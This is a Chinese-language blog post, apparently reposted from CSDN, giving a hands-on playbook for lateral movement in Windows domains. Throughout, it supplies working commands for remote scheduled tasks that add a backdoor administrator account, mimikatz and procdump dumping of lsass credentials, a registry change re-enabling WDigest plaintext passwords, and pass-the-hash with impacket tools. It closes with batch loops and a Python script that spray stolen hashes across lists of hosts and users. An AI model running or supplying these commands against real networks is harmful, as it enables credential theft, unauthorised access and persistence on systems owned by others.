内网渗透-横向渗透1

内网渗透-横向渗透1

1.横向渗透明文传递 at&schtasks

​ 在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令。

获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或 者相关命令

利用流程

  1. 建立 IPC 链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除 IPC 链接

建立 IPC 常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

(2)51:网络问题,Windows 无法找到网络路径

(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题

(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$

(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除

(6)1326:账号密码错误

(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况

扫描二维码关注公众号,回复: 17174392 查看本文章

(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立 IPC 失败的原因

(1)目标系统不是 NT 或以上的操作系统

(2)对方没有打开 IPC$共享

(3)对方未开启 139、445 端口,或者被防火墙屏蔽

(4)输出命令、账号密码有错误

net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享

使用环境

at 适用于 Windows2012 以下版本

schtasks 使用于 Windows2012及 以上版本

at 命令使用

net use \\192.168.1.21\ipc$ "password" /user:xy.com\administrator 
# 建立 ipc 连接:

copy add.bat \\192.168.3.21\c$ 
#拷贝执行文件到目标机器

at \\192.168.3.21 15:47 c:\add.bat 
#添加计划任务

schtasks命令使用

net use \\192.168.3.32\ipc$ "password" /user:xy.com\administrator 
# 建立 ipc 连接:

copy add.bat \\192.168.1.1\c$ 
#复制文件到其 C 盘

schtasks /create /s 192.168.1.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F 
#创建 adduser 任务对应执行文件

schtasks /run /s 192.168.1.1 /tn adduser /i 
#运行 adduser 任务

schtasks /delete /s 192.168.1.11 /tn adduser /f
#删除 adduser 任务

2.实例演示:

首先进入某域主机,

1.使用:

net time /domain		#获取当前域控主机名称

2.获取域控主机ip地址

nslookup DD.xy.com		#获取域控主机ip地址				
ping 域控主机			 #两种方式都行

3.接下来使用at命令或者schtasks命令

net use \\192.168.1.100\ipc$ "123456" /user:xy.com\administrator # 建立 ipc 连接:
copy add.bat \\192.168.1.21\c$ #拷贝执行文件到目标机器
at \\192.168.1.21 15:47 c:\add.bat #添加计划任务
add.bat文件内容
net user admin password /add		#添加用户名密码

4.实战时用mimikatz获取密码

在DOS运行界面中输入

privilege::debug				提权命令
sekurlsa::logonpasswords		抓取密码命令

找到密码后我们来验证下密码是否正确,打开控制面板输入原来的密码看能否修改,如果能修改就是正确的密码

另外当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码

procdump64.exe -accepteula -ma lsass.exe lsass.dmp 

导出为lsass.dump文件
把lsass.dmp放在mimikatz目录利用

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

这样就读出了密码的sha1加密的密码

3.其他案例

1.横向渗透明文 HASH 传递 atexec-impacket(会被杀毒软件查杀)

atexec.exe ./administrator:[email protected] "whoami"				#password处输入密码
atexec.exe god/administrator:[email protected] "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"

2.横向渗透明文 HASH 传递批量利用-综合

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator
#批量检测 IP 对应明文连接			#保存文件后缀名.bat,批处理文件

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password@%%i whoami 
#批量检测 IP 对应明文回显版

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami 
#批量检测明文对应 IP回显版

FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami 
#批量检测HASH 对应 IP 回显版

2.域横向 smb&wmi 明文或 hash 传递

知识点1:
Windows2012以上版本默以关闭wdigest, 攻击者无法从内存中获取明文密码

Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题

  • 利用哈希hash传递(pth, pt k等)进行移动
  • 利用其它服务协议( SMB, WMI等)进行哈希移动
  • 利用注册表操作开启wdigest Auth值进行获取
  • 利用工具或第三方平台(Hachcat)进行破解获取

知识点2:

Windows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash

注册表修改

reg add
HKLM\ SYSTEM\CurrentControlSet\Control\SecurityProvidears\WDigest /v UseLogonCredential /t REG DWORD /d 1 /f

1. Procdump+Mimikatz 配合获取

procdump -accepteula -ma lsass.exe lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 

mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

2.Hashcat 破解获取 Windows NTML Hash

hashcat -a 0-m 1000hash file --force

参考:

https://www.freebuf.com/sectool/164507.html

3.域横向移动 SMB 服务利用-psexec,smbexec

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

net use \\192.168.1.1\ipc$ "password" /user:administrator

psexec \\192.168.1.1 -s cmd 		# 需要先有 ipc 链接 -s 以 System 权限运行

psexec 第二种:不用建立 IPC 直接提供明文账户密码(推荐使用第二种)

psexec \\192.168.1.1 -u administrator -p Admin12345 -s cmd	#有账号密码

psexec -hashes :$HASH$ ./[email protected]
psexec -hashes :$HASH$ domain/[email protected]
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
官方 Pstools 无法采用 hash 连接
需要非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
https://gitee.com/RichChigga/impacket-examples-windows

smbexec 无需先 ipc 链接 明文或 hash 传递

smbexec god/administrator:[email protected]
smbexec ./administrator:admin!@#[email protected]

smbexec -hashes :$HASH$ ./[email protected]
smbbexec -hashes :$HASH$ domain/[email protected]
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/[email protected]

4.域横向移动 WMI 服务利用-cscript,wmiexec,wmic

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递 无回显

wmic /node:192.168.1.1 /user:administrator /password:Admin12345 process call create "cmd.exe /c 
ipconfig >C:\1.txt"

自带 cscript 明文传递 有回显

cscript //nologo wmiexec.vbs /shell 192.168.1.1 administrator Admin12345

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本

wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"

5.域横向移动以上服务 hash 批量利用-python 编译 exe

pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
    for user in users:
        for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
            exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
            print('--->' + exec + '<---')
            os.system(exec)
            time.sleep(0.5)

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/123906284